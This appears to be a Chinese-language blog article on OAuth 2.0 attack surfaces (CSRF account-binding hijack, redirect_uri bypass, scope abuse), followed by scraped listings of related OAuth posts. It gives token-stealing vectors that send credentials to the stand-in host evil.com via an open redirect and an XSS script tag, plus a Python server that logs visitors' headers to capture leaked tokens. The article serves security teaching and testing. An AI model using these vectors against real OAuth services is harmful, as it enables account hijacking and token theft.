OAuth 2.0攻击面与案例总结

本文整理了OAuth 2.0的攻击面+实际案例+辅助测试代码。

OAuth流程

本文以两种广泛使用的方案为标准展开.。如对流程不了解,请先移步学习: 理解OAuth 2.0

Authorization Code

  • response_type = code
  • redirect_uri
  • scope
  • client_id
  • state

Implicit

  • response_type = token
  • redirect_uri
  • scope
  • client_id
  • state

攻击面

  • CSRF导致绑定劫持
  • redirect_uri绕过导致授权劫持
  • scope越权访问

绑定劫持

攻击者抓取认证请求构造恶意url,并诱骗已经登录的网用户点击(比如通过邮件或者QQ等方式).认证成功后用户的帐号会同攻击者的帐号绑定到一起。

OAuth 2.0提供了state参数用于防御CSRF.认证服务器在接收到的state参数按原样返回给redirect_uri,客户端收到该参数并验证与之前生成的值是否一致.除此方法外也可使用传统的CSRF防御方案.

案例: 人人网-百度OAuth 2.0 redirect_uir CSRF 漏洞

授权劫持

根据OAuth的认证流程,用户授权凭证会由服务器转发到redirect_uri对应的地址,如果攻击者伪造redirect_uri为自己的地址,然后诱导用户发送该请求,之后获取的凭证就会发送给攻击者伪造的回调地址.攻击者使用该凭证即可登录用户账号,造成授权劫持.

正常情况下,为了防止该情况出现,认证服务器会验证自己的client_id与回调地址是否对应.常见的方法是验证回调地址的主域,涉及到的突破方式与CSRF如出一辙:

未验证

验证绕过

子域可控

跨域

  • 利用可信域的url跳转从referer偷取token

    如果网站存在一个任意url跳转漏洞,可利用该漏洞构造以下向量

    redirect_uri=http://auth.app.com/redirect.php?url=http://evil.com

    认证服务器将凭证通过GET方法发送到redirect.php,这时redirect.php执行跳转,访问http://evil.com,攻击者为evil.com记录日志,并从请求头中的referer字段提取出该凭证,即可通过该凭证进行授权登录.

  • 利用跨域请求从referer偷取token

    在我们不能绕过redirect_uri的判断规则时,我们可以使利用跨域请求从referer中偷取token.

    例1 redirect_uri限制为app.com,然而app.com/article/1.html中允许用户发表文章,在文章中嵌入来自evil.com的外部图片.这时我们可以让redirect_uri指向该文章app.com/article/1.html,当该文章被访问时,会自动获取 evil.com/test.jpg ,这时攻击者即可从请求头的referer拿到token

    例2 利用XSS实现跨域

    redirect_uri = http://app.com/ajax/cat.html?callback=<script src="http://evil.com?getToken.php"></script>

越权访问

这个案例展示了scope权限控制不当带来的安全风险,同时将授权劫持的几个方面演绎的淋漓尽致.

案例: 从“黑掉Github”学Web安全开发

辅助验证脚本

一个简易服务器,会记录来访者的请求头.
1. Python picserver.py [可选端口号]
2. 打开浏览器访问图片或页面地址
3. 查看日志
4. 清除日志

import BaseHTTPServer
import datetime
import sys
import os

SERVER = ‘0.0.0.0‘
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 2333
LOG_PATH = ‘reqlog.txt‘

class WebRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_GET(self):
        if ‘.png‘ in self.path:
            print self.path
            fname = ‘1.png‘
        elif ‘.jpg‘ in self.path:
            fname = ‘1.jpg‘
        elif ‘.gif‘ in self.path:
            fname = ‘1.gif‘
        elif ‘.html‘ in self.path:
            fname = ‘index.html‘
        elif ‘clear‘ in self.path:
            os.remove(LOG_PATH)
            self.send_response(200)
            self.end_headers()
            self.wfile.write(‘ok‘)
            return
        else:
            self.send_response(200)
            self.end_headers()
            try:
                self.wfile.write(open(LOG_PATH, ‘r‘).read())
            except IOError:
                print ‘[*]Create logfile: ‘ + LOG_PATH
            return

        message_parts = [‘<br>===== [%s] %s =====‘ % (self.path, datetime.datetime.today())]
        for name, value in sorted(self.headers.items()):
            message_parts.append(‘%s: %s‘ % (name, value.strip()))
        message = ‘<br>‘.join(message_parts) + ‘<br>‘

        with open(LOG_PATH, ‘a‘) as f:
            f.write(message)
        self.send_response(200)
        self.end_headers()
        self.wfile.write(open(fname, ‘rb‘).read())

print ‘[*]Starting server at %s:%d‘ % (SERVER, PORT)
server = BaseHTTPServer.HTTPServer((SERVER, PORT), WebRequestHandler)
server.serve_forever()

效果:

参考

时间: 2024-11-09 06:13:19

OAuth 2.0攻击面与案例总结的相关文章

OAuth 2.0安全案例回顾

转载自:http://www.360doc.com/content/14/0311/22/834950_359713295.shtml 0x00 背景 纵观账号互通发展史,可以发现OAuth比起其它协议(如OpenID)更流行的原因是,业务双方不仅要求账号本身的认证互通(authentication:可理解为“我在双方的地盘姓甚名谁”),而是更需要双方业务流的授权打通(authorization:可理解为“我在双方的地盘上可做什么”),因为后者才能产生实际的互惠互利. 2013年将过大半,有关O

OAuth 2.0文档翻译(第一章)

OAuth 2.0 授权框架 概要 OAuth 2.0授权框架使得第三方应用获得有限的http服务,也代表了用户(资源拥有者)通过策划一个批准通信在用户和http服务之间,或者运行第三方应用代表自身获得权限.这个说明文档取代了在RFC 5849描述的过时的OAuth 1.0协议. 这份备忘录的地位 这是一个互联网标准跟踪文档. 这份文档是IETF(Internet Engineering Task Force:互联网工程任务小组)的作品.代表了IETF团队的一致意见.接受了公共的审查并且被IES

构建微服务-使用OAuth 2.0保护API接口

微服务操作模型 基于Spring Cloud和Netflix OSS 构建微服务-Part 1 基于Spring Cloud和Netflix OSS构建微服务,Part 2 在本文中,我们将使用OAuth 2.0,创建一个的安全API,可供外部访问Part 1和Part 2完成的微服务. 关于OAuth 2.0的更多信息,可以访问介绍文档:Parecki - OAuth 2 Simplified 和 Jenkov - OAuth 2.0 Tutorial ,或者规范文档 IETF RFC 674

OAuth 2.0 授权码请求

关于OAuth 2.0,请参见下面这两篇文章(墙裂推荐): <OAuth 2.0> <Spring Security OAuth 2.0> 纸上得来终觉浅,绝知此事要躬行.理论知识了解以后,最终还是要动手实践,不亲自做一遍永远不知道里面有多少坑.本节的重点是用Spring Security实现授权码模式. 1. maven依赖 <?xml version="1.0" encoding="UTF-8"?> <project x

认证授权那点事儿 —— OAuth 2.0

OAuth 2.0 —— 开放授权协议,对应的规范文件RFC-6749早在2012年便成形,所以这并不是一个新的技术(你问我为啥研究这个,我也想吟一首诗啊...组织上就是这样决定的),但由于其必不可少的价值,在今天的网络上已经得到了广泛的应用. OAuth2.0认证是要在不同的应用之间打通互信,互信的目的是为了实现一定程度上的用户数据分享,没数据的一方到有数据的一方拿数据,并且在时间尺度上,数据的分享是受控的. 比如你在微信上打开小程序,小程序会向微信索要你的基本信息:比如你用马克飞象作为印象笔

OAuth 2.0 的四种授权模式

RFC 6749 OAuth 2.0 的标准是 RFC 6749 文件.该文件先解释了 OAuth 是什么. OAuth 引入了一个授权层,用来分离两种不同的角色:客户端和资源所有者.......资源所有者同意以后,资源服务器可以向客户端颁发令牌.客户端通过令牌,去请求数据. 这段话的意思就是,OAuth 的核心就是向第三方应用颁发令牌.然后,RFC 6749 接着写道: (由于互联网有多种场景,)本标准定义了获得令牌的四种授权方式(authorization grant ). 也就是说,OAu

Using OAuth 2.0 for Web Server Applications, verifying a user&#39;s Android in-app subscription

在写本文之前先说些题外话. 前段时间游戏急于在GoolePlay上线,明知道如果不加Auth2.0的校验是不安全的还是暂时略过了这一步,果然没几天就发现后台记录与玩家实际付费不太一致,怀疑有玩家盗刷游戏元宝等,并且真实的走过了GooglePlay的所有支付流程完成道具兑换,时间一长严重性可想而知.经过查阅大量google官方文档后把代码补上,并在这里记录下OAuth 2.0 的使用,Google提供了OAuth2.0的好几种使用用途,每种使用方法都有些不同,具体可以看下这篇博客.在这里只写OAu

OAuth 2.0及微信网页授权

理解OAuth 2.0 by 阮一峰 微信网页授权

理解OAuth 2.0

作者: 阮一峰 链接:http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html OAuth是一个关于授权(authorization)的开放网络标准,在全世界得到广泛应用,目前的版本是2.0版. 本文对OAuth 2.0的设计思路和运行流程,做一个简明通俗的解释,主要参考材料为RFC 6749. 一.应用场景 为了理解OAuth的适用场合,让我举一个假设的例子. 有一个"云冲印"的网站,可以将用户储存在Google的照片,冲印出来.用户